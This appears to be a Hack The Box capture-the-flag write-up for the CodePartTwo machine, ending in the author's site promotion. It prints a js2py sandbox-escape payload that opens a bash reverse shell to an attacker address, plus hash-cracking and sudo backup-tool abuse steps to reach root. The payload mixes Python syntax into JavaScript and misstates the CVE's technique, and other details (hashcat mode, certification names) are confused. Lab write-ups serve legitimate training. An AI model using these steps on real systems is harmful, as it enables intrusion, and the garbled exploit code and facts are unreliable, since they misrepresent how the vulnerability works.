HTB CodePartTwo Writeup

HTB CodePartTwo Writeup

While many boxes challenge you to find a missing patch or a weak password, HTB CodePartTwo machine attacks the fundamental trust developers place in third-party libraries to sanitize execution environments.

It is a lesson in Sandbox Escapes, proving that if you allow a user to define code, no matter how safe the interpreter claims to be, you are essentially handing them a shell.

What HTB CodePartTwo Tests

This machine is a rigorous examination of Runtime Analysis and Source Code Auditing. It moves beyond standard web exploitation into the realm of Language-Theoretic Security (LangSec).

Specifically, it tests your ability to recognize that a web application translating JavaScript to Python (via js2py) is not just a translator, but a bridge between two execution contexts.

The primary test is identifying a Sandbox Escape (CVE-2024-28397) where the protection mechanisms of the library fail to stop the importation of dangerous Python modules.

Furthermore, the privilege escalation path tests your competency in Database Forensics (cracking hashes from SQLite) and Custom Binary Analysis, specifically identifying logical flaws in administrative backup tools (npbackup-cli) that run with elevated privileges.

Enumeration Methodology

The standard directory-busting approach is insufficient here. The elite methodology focuses on Behavioral Analysis.

Identify the Engine: When you see a JavaScript Code Editor that executes code on the server, your first question must be: "What is the backend engine?" Is it Node.js? Deno? Or, in this dangerous case, a Python wrapper like js2py.

Fingerprint the Library: You confirm the engine by testing edge cases: Python-specific error messages leaking through the JavaScript interface are the smoking gun.

Source Code Review: Since the application is open-source (or code is accessible), the audit shifts to package.json or requirements.txt. Spotting js2py should immediately trigger a search for Sandbox Escape vectors, not just XSS.

Commands Cheat Sheet

The exploit chain relies on specific payloads rather than generic tool output.

  • The js2py Sandbox Escape (CVE-2024-28397): This payload bypasses the disable_pyimport restriction by traversing the object hierarchy to recover the global Python context.

    Python
    # Inject this into the JS Editor
    import os
    var app = {
        ex: function() {
            # Bypassing the import restriction
            var pyimport = global.pyimport;
            var os = pyimport("os");
            os.system("bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'");
        }
    }
    app.ex();
    
  • SQLite Hash Extraction: Once inside, locate the .db file (often found in /var/www/ or user home). sqlite3 database.db "SELECT * FROM users;"

  • Hash Cracking: hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt (assuming SHA256/Raw-MD5 depending on the format).

  • Root Escalation (npbackup-cli): If the tool allows backing up arbitrary paths: sudo /usr/bin/npbackup-cli -s /root/ -d /tmp/output Then inspect the backup to retrieve the flag.

Common Mistakes

The most fatal error on CodePartTwo is treating the JS Editor like a Client-Side vulnerability.

Researchers often waste hours trying to trigger XSS (alert boxes) that only execute in their own browser, forgetting that the goal is Server-Side execution. If the code runs on the server, XSS is irrelevant; you want RCE. Another common mistake is Over-Complicating the Root.

When faced with npbackup-cli, users often look for buffer overflows or complex race conditions. Often, the vulnerability is logic-based: the tool simply allows you to read files you shouldn't, or write files (like authorized_keys) to paths you shouldn't, because it trusts the sudo user too much.

Tool Usage Patterns

  • Netcat: Essential for catching the shell.

  • Python (Local): You should be running a local instance of js2py to debug your payloads before throwing them at the remote server. "Blind" firing of exploits is noisy and amateurish.

  • Strings / Ghidra: For analyzing npbackup-cli. Even a simple strings command can reveal if the binary calls system binaries (like tar or cp) without absolute paths, exposing it to PATH hijacking, or if it has hardcoded allow lists that can be bypassed.

Security Lesson & Mitigation

The critical lesson here is: Do not use "Sanitized" Interpreters for Untrusted Code. Libraries like js2py or vm2 (for Node) have a history of catastrophic sandbox escapes. It is nearly impossible to perfectly sandbox a dynamic language within another dynamic language.

Mitigation: If you must run user-submitted code, do not rely on library-level sandboxes. Use OS-level isolation like Docker containers (ephemeral, with no network access), gVisor, or Firecracker microVMs.

Root Cause: The npbackup-cli utility likely failed to implement Least Privilege. A backup tool running as root should strictly enforce source and destination allow-lists, preventing the user from reading /root or writing to /etc/.

Expert Hints

If you are struggling with the sandbox escape, remember that in Python, everything is an object.

Even if import is disabled, the __class__ and __base__ attributes often provide a ladder to climb back up to the object root, from which you can re-initialize a new context or access the os module.

For the root part: if the tool lets you restore a backup, consider what happens if you restore a malicious .ssh folder into the root directory.

Certifications Prep Suggestions

This box is a direct capability builder for:

  • OSEP (OffSec Exploit Developer): The sandbox escape logic forces you to understand language internals, a key skill for advanced exploitation.

  • OSWE (OffSec Web Expert): The requirement to move from a web interface to code execution via source review is the core of OSWE.

  • BSC (Burp Suite Certified Practitioner): While less focus on tools, the concept of identifying "Server-Side Template Injection" (or in this case, Code Injection) is highly relevant.

 

0 comments

Leave a comment

Our Best Pick of Cyber Security Notes

Cyber Security Certification Notes
Certified Security Blue Team Level 2 (BTL2) Study Notes (Unofficial)

Cyber Security Certification Notes

Cyber Security Study Guides
The Kali Linux Pentesting Cheat Sheet

Cyber Security Study Guides

AI & ML Study Guides
Master AI for Content Creation, Business & Marketing

AI & ML Study Guides

IT Study Guides
The Definitive Networking Cheat Sheet (Tools)

IT Study Guides

Cybersecurity · Offensive & Defensive · Practitioner-First

Stop reading docs.
Start thinking like an attacker.

Field-ready notes, methodology breakdowns, and certification cheat sheets built by a practitioner for practitioners.

62K+YouTube Subscribers
20K+Web Visitors
4K+Students and Professionals Using The Notes

What's in the vault

Two tiers.
One clear mission.

Whether you're just getting started or deep in the trenches, there's a tier built for where you are right now. Free notes cover the essentials — premium unlocks the full playbook.

Free Access

The essentials,
on the house.

A curated library of beginner and intermediate notes you can access right now — no signup, no friction.

  • Introductory walkthroughs on core concepts
  • Tool overviews: Nmap, Burp Suite, Metasploit & more
  • Selected HTB writeup summaries
  • Foundational blue team methodology notes
  • YouTube companion write-ups
Start Reading Free
Premium

The full
practitioner playbook.

Every note, every cheat sheet, every methodology breakdown — structured the way a senior analyst actually thinks.

  • Full OSCP, CPTS, OSWE, HTB CDSA prep DISCOUNTS
  • Complete HTB machine writeups (Guardian, Expressway & more)
  • AI Red Teaming tooling comparison notes
  • SOC analyst learning roadmaps & playbooks
  • Threat intelligence methodology guides
  • Malware analysis case studies (NotPetya & more)
  • New content added continuously
Become a Member →

Coverage

What you'll actually use.

Notes built around real engagements, real exam objectives, and real SOC workflows — not a rehash of vendor documentation.

#Penetration TestingOSCP · CPTS · HTB
#Web App SecurityOSWE · Bug Bounty
#SOC & Blue TeamCDSA · SIEM · IR
#Threat IntelligenceTAXII · YARA · MITRE
#Malware AnalysisReverse Engineering
#AI Red TeamingGarak · PyRIT · LLM Sec
#Network SecurityActive Directory · Pivoting
#Tooling & AutomationScripts · Integrations

Cert Coverage

OSCP CPTS OSWE HTB CDSA CEH CompTIA Sec+ eJPT

The author

Motasem Hamdan

I'm a cybersecurity practitioner, technical writer, and content creator who got tired of resources that treat readers like beginners forever.

My notes are built the way I wish someone had built them when I was grinding through certs and CTFs — methodology-first, practitioner-grade, and structured for how analysts actually think on the job.

Over 62,000 people on YouTube follow along. Thousands more read on the site every month. These aren't notes for passing an exam and forgetting everything — they're references you'll keep coming back to.

motasem_notes — practitioner.sh
whoami
motasem_hamdan — cybersec_practitioner

cat expertise.txt
offensive_security: advanced
blue_team_soc:      advanced
threat_intel:       advanced
technical_writing:  practitioner-grade

ls content/
htb_writeups/  cert_cheatsheets/
ai_red_team/   soc_methodology/
threat_intel/  malware_analysis/

cat philosophy.txt
"teach how to think,
 not just what to type."

_

Membership

One subscription.
Everything unlocked.

Skip the hours lost searching fragmented resources. One membership gives you the full library, updated continuously as the threat landscape evolves.

Free $0 forever
  • Foundational notes library
  • Selected HTB summaries
  • YouTube companion write-ups
  • Tool overview guides
Start Reading
Store : One-Time Pay What You Want
  • Buy individual cheat sheets
  • Downloadable PDFs & guides
  • No recurring commitment
  • Yours to keep permanently
Browse Store

FAQ

Good questions.


The free tier has solid foundational content. Premium notes are written for intermediate-to-advanced practitioners — they assume you know the basics and want to go deeper. If you're grinding toward OSCP or working in a SOC, you'll feel right at home.
Continuously. New walkthroughs, methodology updates, and cheat sheets drop regularly — aligned with new HTB machines, cert updates, and emerging threat topics. As a member, you get access to everything as it lands.
Yes, absolutely. Membership is managed through Buy Me a Coffee — you can cancel any time directly from your account. No long-term lock-in, no awkward cancellation flows.
The membership gives you ongoing access to the full library for a monthly fee. The store lets you buy individual resources once and own them permanently — good if you just need one specific cert pack.
Definitely. Head to @MotasemHamdan on YouTube — over 62K subscribers and a large back-catalogue of walkthroughs, tool demos, and methodology breakdowns. Best way to see if the teaching style clicks for you before committing to anything.